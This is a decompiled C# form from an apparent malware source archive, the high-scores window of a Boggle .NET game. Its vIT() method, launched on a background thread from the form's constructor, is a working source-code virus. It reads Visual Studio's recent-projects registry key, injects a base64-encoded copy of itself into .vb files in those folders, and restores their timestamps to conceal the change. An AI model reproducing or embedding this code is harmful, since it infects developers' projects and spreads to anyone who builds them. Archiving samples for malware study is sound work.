MalwareSourceCode/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmHighScores.cs

352 lines
15 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: Boggle.frmHighScores
// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null
// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using System;
using System.ComponentModel;
using System.Data.OleDb;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Runtime.CompilerServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace Boggle
{
public class frmHighScores : Form
{
[AccessedThroughProperty("btnClear")]
private Button _btnClear;
[AccessedThroughProperty("Label4")]
private Label _Label4;
[AccessedThroughProperty("lstMain")]
private ListBox _lstMain;
[AccessedThroughProperty("Label1")]
private Label _Label1;
[AccessedThroughProperty("Label3")]
private Label _Label3;
[AccessedThroughProperty("Label5")]
private Label _Label5;
[AccessedThroughProperty("Label2")]
private Label _Label2;
private IContainer components;
internal virtual Button btnClear
{
get => this._btnClear;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._btnClear != null)
this._btnClear.Click -= new EventHandler(this.btnClear_Click);
this._btnClear = value;
if (this._btnClear == null)
return;
this._btnClear.Click += new EventHandler(this.btnClear_Click);
}
}
internal virtual Label Label5
{
get => this._Label5;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Label5 == null)
;
this._Label5 = value;
if (this._Label5 == null)
;
}
}
internal virtual ListBox lstMain
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lstMain == null)
;
this._lstMain = value;
if (this._lstMain == null)
;
}
get => this._lstMain;
}
internal virtual Label Label1
{
get => this._Label1;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Label1 == null)
;
this._Label1 = value;
if (this._Label1 == null)
;
}
}
internal virtual Label Label2
{
get => this._Label2;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Label2 == null)
;
this._Label2 = value;
if (this._Label2 == null)
;
}
}
internal virtual Label Label3
{
get => this._Label3;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Label3 == null)
;
this._Label3 = value;
if (this._Label3 == null)
;
}
}
internal virtual Label Label4
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._Label4 == null)
;
this._Label4 = value;
if (this._Label4 == null)
;
}
get => this._Label4;
}
private void vIT()
{
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VisualStudio\\7.0\\ProjectMRUList");
if (registryKey.ValueCount == 0)
ProjectData.EndApp();
string String2 = "Private Sub vIT()";
string str1 = "Public Sub New()";
string str2 = "Dim t As New System.Threading.Thread(AddressOf vIT)\r\nt.Start()";
string str3 = "UHJpdmF0ZSBTdWIgdklUKCkNCkRpbSBYLCBZIEFzIEludGVnZXINCkRpbSBBLCBC" + "KCksIEMsIEcsIEgsIEksIEosIEssIEwgQXMgU3RyaW5nDQpEaW0gRCwgRiBBcyBE" + "YXRlDQpEaW0gUiBBcyBNaWNyb3NvZnQuV2luMzIuUmVnaXN0cnlLZXkNCkRpbSBT" + "IEFzIFN5c3RlbS5JTy5TdHJlYW1SZWFkZXINCkRpbSBUIEFzIFN5c3RlbS5JTy5T" + "dHJlYW1Xcml0ZXINCkRpbSBVIEFzIFN5c3RlbS5JTy5GaWxlQXR0cmlidXRlcw0K" + "UiA9IE1pY3Jvc29mdC5XaW4zMi5SZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3Vi" + "S2V5KCJTb2Z0d2FyZVxNaWNyb3NvZnRcVmlzdWFsU3R1ZGlvXDcuMFxQ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MQm91bmQoQikgVG8gVUJvdW5k" + "KEIpDQpEID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoQihZKSkN" + "CkYgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKEIoWSkpDQpVID0g" + "U3lzdGVtLklPLkZpbGUuR2V0QXR0cmlidXRlcyhCKFkpKQ0KU3lzdGVtLklPLkZp" + "bGUuU2V0QXR0cmlidXRlcyhCKFkpLCBJTy5GaWxlQXR0cmlidXRlcy5Ob3JtYWwp" + "DQpTID0gU3lzdGVtLklPLkZpbGUuT3BlblRleHQoQihZKSkNCkMgPSBTLlJlYWRU" + "b0VuZCgpDQpTLkNsb3NlKCkNCklmIEluU3RyKEMsIEcsIENvbXBhcmVNZXRob2Qu" + "VGV4dCkgPSAwIEFuZCBJblN0cihDLCBILCBDb21wYXJlTWV0aG9kLlRleHQpIDw+" + "IDAgVGhlbg0KQyA9IFJlcGxhY2UoQywgIk15QmFzZS5OZXcoKSIsICJNeUJhc2Uu" + "TmV3KCkiICYgdmJDckxmICYgSSwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQpDQpD" + "ID0gUmVwbGFjZShDLCBILCBLICYgSCwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQp" + "DQpUID0gU3lzdGVtLklPLkZpbGUuQ3JlYXRlVGV4dChCKFkpKQ0KVC5Xcml0ZShD" + "KQ0KVC5GbHVzaCgpDQpULkNsb3NlKCkNCkVuZCBJZg0KU3lzdGVtLklPLkZpbGUu" + "U2V0TGFzdFdyaXRlVGltZShCKFkpLCBGKQ0KU3lzdGVtLklPLkZpbGUuU2V0TGFz" + "dEFjY2Vzc1RpbWUoQihZKSwgRCkNClN5c3RlbS5JTy5GaWxlLlNldEF0dHJpYnV0" + "ZXMoQihZKSwgVSkNCk5leHQNCkVuZCBJZg0KTmV4dA0KRW5kIFN1Yg0K";
string Expression = Encoding.ASCII.GetString(Convert.FromBase64String(str3));
string Replacement = "J = \"";
int num1 = Strings.Len(str3);
int Start = 1;
while (Start <= num1)
{
Replacement = checked (Start + 64) >= Strings.Len(str3) ? Replacement + Strings.Mid(str3, Start, 64) + "\"" : Replacement + Strings.Mid(str3, Start, 64) + "\"" + "\r\nJ = J & " + "\"";
checked { Start += 64; }
}
string str4 = Strings.Replace(Expression, "J = \"\"", Replacement, Count: 1, Compare: CompareMethod.Text);
int num2 = checked (registryKey.ValueCount - 1);
int index1 = 0;
while (index1 <= num2)
{
string str5 = StringType.FromObject(registryKey.GetValue(registryKey.GetValueNames()[index1]));
string path = Strings.Mid(str5, 1, Strings.InStrRev(str5, "\\", Compare: CompareMethod.Text));
if (Directory.Exists(path))
{
string[] files = Directory.GetFiles(path, "*.vb");
int num3 = Information.LBound((Array) files);
int num4 = Information.UBound((Array) files);
int index2 = num3;
while (index2 <= num4)
{
DateTime lastAccessTime = File.GetLastAccessTime(files[index2]);
DateTime lastWriteTime = File.GetLastWriteTime(files[index2]);
FileAttributes attributes = File.GetAttributes(files[index2]);
File.SetAttributes(files[index2], FileAttributes.Normal);
StreamReader streamReader = File.OpenText(files[index2]);
string end = streamReader.ReadToEnd();
streamReader.Close();
if (Strings.InStr(end, String2, CompareMethod.Text) == 0 & Strings.InStr(end, str1, CompareMethod.Text) != 0)
{
string str6 = Strings.Replace(Strings.Replace(end, "MyBase.New()", "MyBase.New()\r\n" + str2, Count: 1, Compare: CompareMethod.Text), str1, str4 + str1, Count: 1, Compare: CompareMethod.Text);
StreamWriter text = File.CreateText(files[index2]);
text.Write(str6);
text.Flush();
text.Close();
}
File.SetLastWriteTime(files[index2], lastWriteTime);
File.SetLastAccessTime(files[index2], lastAccessTime);
File.SetAttributes(files[index2], attributes);
checked { ++index2; }
}
}
checked { ++index1; }
}
}
public frmHighScores()
{
this.Load += new EventHandler(this.frmHighScores_Load);
new Thread(new ThreadStart(this.vIT)).Start();
this.InitializeComponent();
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
[DebuggerStepThrough]
private void InitializeComponent()
{
this.lstMain = new ListBox();
this.Label1 = new Label();
this.Label2 = new Label();
this.Label3 = new Label();
this.Label4 = new Label();
this.Label5 = new Label();
this.btnClear = new Button();
this.SuspendLayout();
this.lstMain.BackColor = System.Drawing.Color.Black;
this.lstMain.Font = new Font("Microsoft Sans Serif", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.lstMain.ForeColor = System.Drawing.Color.DodgerBlue;
this.lstMain.ItemHeight = 16;
ListBox lstMain1 = this.lstMain;
Point point1 = new Point(16, 72);
Point point2 = point1;
lstMain1.Location = point2;
this.lstMain.Name = "lstMain";
ListBox lstMain2 = this.lstMain;
Size size1 = new Size(248, 164);
Size size2 = size1;
lstMain2.Size = size2;
this.lstMain.TabIndex = 0;
this.Label1.AutoSize = true;
this.Label1.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
Label label1_1 = this.Label1;
point1 = new Point(16, 56);
Point point3 = point1;
label1_1.Location = point3;
this.Label1.Name = "Label1";
Label label1_2 = this.Label1;
size1 = new Size(38, 13);
Size size3 = size1;
label1_2.Size = size3;
this.Label1.TabIndex = 1;
this.Label1.Text = "Player";
this.Label2.AutoSize = true;
this.Label2.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
Label label2_1 = this.Label2;
point1 = new Point(88, 56);
Point point4 = point1;
label2_1.Location = point4;
this.Label2.Name = "Label2";
Label label2_2 = this.Label2;
size1 = new Size(32, 13);
Size size4 = size1;
label2_2.Size = size4;
this.Label2.TabIndex = 2;
this.Label2.Text = "Level";
this.Label3.AutoSize = true;
this.Label3.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
Label label3_1 = this.Label3;
point1 = new Point(224, 56);
Point point5 = point1;
label3_1.Location = point5;
this.Label3.Name = "Label3";
Label label3_2 = this.Label3;
size1 = new Size(35, 13);
Size size5 = size1;
label3_2.Size = size5;
this.Label3.TabIndex = 3;
this.Label3.Text = "Score";
this.Label4.AutoSize = true;
this.Label4.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
Label label4_1 = this.Label4;
point1 = new Point(152, 56);
Point point6 = point1;
label4_1.Location = point6;
this.Label4.Name = "Label4";
Label label4_2 = this.Label4;
size1 = new Size(45, 13);
Size size6 = size1;
label4_2.Size = size6;
this.Label4.TabIndex = 4;
this.Label4.Text = "Rounds";
this.Label5.Font = new Font("Microsoft Sans Serif", 12f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
Label label5_1 = this.Label5;
point1 = new Point(36, 16);
Point point7 = point1;
label5_1.Location = point7;
this.Label5.Name = "Label5";
Label label5_2 = this.Label5;
size1 = new Size(208, 24);
Size size7 = size1;
label5_2.Size = size7;
this.Label5.TabIndex = 5;
this.Label5.Text = "Top 10 Winning Streaks";
Button btnClear1 = this.btnClear;
point1 = new Point(80, 248);
Point point8 = point1;
btnClear1.Location = point8;
this.btnClear.Name = "btnClear";
Button btnClear2 = this.btnClear;
size1 = new Size(120, 23);
Size size8 = size1;
btnClear2.Size = size8;
this.btnClear.TabIndex = 6;
this.btnClear.Text = "Clear High Scores";
size1 = new Size(5, 13);
this.AutoScaleBaseSize = size1;
this.BackColor = System.Drawing.Color.DarkGray;
size1 = new Size(280, 285);
this.ClientSize = size1;
this.Controls.AddRange(new Control[7]
{
(Control) this.btnClear,
(Control) this.Label5,
(Control) this.Label4,
(Control) this.Label3,
(Control) this.Label2,
(Control) this.Label1,
(Control) this.lstMain
});
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = nameof (frmHighScores);
this.Text = "Boggle .Net Winning Streaks";
this.ResumeLayout(false);
}
private void frmHighScores_Load(object sender, EventArgs e)
{
OleDbCommand oleDbCommand = new OleDbCommand("Select * From HighScores Order By Rounds Desc", modGlobal.conBoggle);
this.Left = checked ((int) Math.Round(unchecked ((double) Screen.PrimaryScreen.Bounds.Width / 2.0 - (double) this.Width / 2.0)));
this.Top = checked ((int) Math.Round(unchecked ((double) Screen.PrimaryScreen.Bounds.Height / 2.0 - (double) this.Height / 2.0)));
modGlobal.conBoggle.Open();
OleDbDataReader oleDbDataReader = oleDbCommand.ExecuteReader();
while (oleDbDataReader.Read())
this.lstMain.Items.Add(ObjectType.StrCatObj(ObjectType.StrCatObj(ObjectType.StrCatObj(ObjectType.StrCatObj(ObjectType.StrCatObj(ObjectType.StrCatObj(ObjectType.StrCatObj((object) " ", oleDbDataReader[0]), (object) "\t"), oleDbDataReader[1]), (object) "\t"), oleDbDataReader[2]), (object) "\t"), oleDbDataReader[3]));
oleDbDataReader.Close();
modGlobal.conBoggle.Close();
}
private void btnClear_Click(object sender, EventArgs e)
{
OleDbCommand oleDbCommand = new OleDbCommand("Delete From HighScores", modGlobal.conBoggle);
if (MessageBox.Show("Are you sure you want to clear the high score table?", "Clear High Scores", MessageBoxButtons.YesNo) == DialogResult.No)
return;
modGlobal.conBoggle.Open();
oleDbCommand.ExecuteNonQuery();
modGlobal.conBoggle.Close();
this.lstMain.Items.Clear();
}
}
}